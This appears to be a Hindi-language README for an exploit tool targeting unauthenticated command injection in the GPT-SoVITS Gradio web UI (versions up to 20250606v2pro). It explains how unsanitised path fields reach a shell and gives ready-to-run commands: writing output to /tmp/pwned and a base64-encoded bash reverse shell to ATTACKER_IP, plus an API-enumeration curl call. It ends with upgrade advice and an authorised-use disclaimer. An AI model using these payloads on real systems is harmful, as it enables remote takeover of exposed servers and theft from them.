
अप्रमाणित OS कमांड इंजेक्शन शोषण GPT-SoVITS Gradio वेब UI के लिए। ऑडियो-प्रोसेसिंग सहायकों में अस्वच्छित पथ पैरामीटर के माध्यम से RCE प्रदान करता है, जो अधिकृत सुरक्षा परीक्षण के लिए रिवर्स शेल और फ़ाइल लेखन का समर्थन करता है।
GPT-SoVITS के Gradio वेब UI (webui.py) में बिना प्रमाणीकरण के रिमोट कोड निष्पादन (RCE) की समस्या।
ऑडियो-प्रोसेसिंग हेल्पर (open_asr, open_slice, open_denoise, open_uvr5) बिना सैनिटाइज़ किए गए Gradio टेक्स्टबॉक्स path मानों को सीधे उन शेल कमांड्स में डालते हैं जो Popen(..., shell=True) के साथ चलाए जाते हैं। पाथ केवल clean_path() से गुज़ारे जाते हैं, जो सिर्फ शुरू/आखिर के कोट्स और स्पेस हटाता है — बीच में मौजूद शेल मेटाकैरेक्टर बच जाते हैं। asr_opt_dir फ़ील्ड की तो अस्तित्व-जाँच (existence check) भी नहीं की जाती, इसलिए उसमें रखा गया कमांड सब्स्टिट्यूशन के अंदर पहुँचकर वेब-UI प्रोसेस के यूज़र के रूप में चलता है। वेब UI के आता है, इसलिए एक अकेला अनुरोध (request) काफी है।
$(...)-o "$(...)"<= 20250606v2pro9874 (Gradio web UI, बिना प्रमाणीकरण)pip install gradio_client
# write proof to a file on the target
python3 exploit.py http://10.10.10.10:9874/ -c 'id > /tmp/pwned 2>&1'
# reverse shell (base64 keeps the payload quote-free inside the $() context;
# bash -c is needed because the sink runs under /bin/sh, which lacks /dev/tcp)
B64=$(echo -n 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1' | base64 -w0)
python3 exploit.py http://10.10.10.10:9874/ -c "echo $B64|base64 -d|bash"
इंजेक्ट किया गया कमांड सर्वर पर चलता है; इसका आउटपुट वापस नहीं लौटाया जाता, इसलिए परिणाम देखने के लिए रिवर्स शेल (या एक पठनीय पथ पर लिखना) का उपयोग करें। asr_opt_dir को $(...) में लपेटा जाता है, इसलिए यह कमांड सब्स्टिट्यूशन के माध्यम से चलता है, चाहे कोई ASR मॉडल इंस्टॉल हो या नहीं।
open_asr निम्नलिखित बनाकर चलाता है:
asr_opt_dir = clean_path(asr_opt_dir) # only strips leading/trailing quotes/spaces
cmd += f' -o "{asr_opt_dir}"' # asr_opt_dir NOT existence-checked
Popen(cmd, shell=True) # /bin/sh runs $(...) inside the -o "..."
Gradio UI अपनी API सतह /config पर उजागर करता है:
curl -s http://10.10.10.10:9874/config | python3 -c "import sys,json;print([x['api_name'] for x in json.load(sys.stdin)['dependencies'] if x.get('api_name')][:12])"
# [... 'open_asr', 'close_asr', 'open_slice', ...]
GPT-SoVITS 20250606v2pro से आगे के संस्करण में अपग्रेड करें, वेब UI को अविश्वसनीय नेटवर्क पर कभी भी एक्सपोज़ न करें, और इसे विशेषाधिकार प्राप्त (privileged) यूज़र के रूप में न चलाएँ।
केवल अधिकृत सुरक्षा परीक्षण और शिक्षा के लिए। इसका उपयोग केवल उन्हीं सिस्टम्स पर करें जिनके मालिक आप हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास है।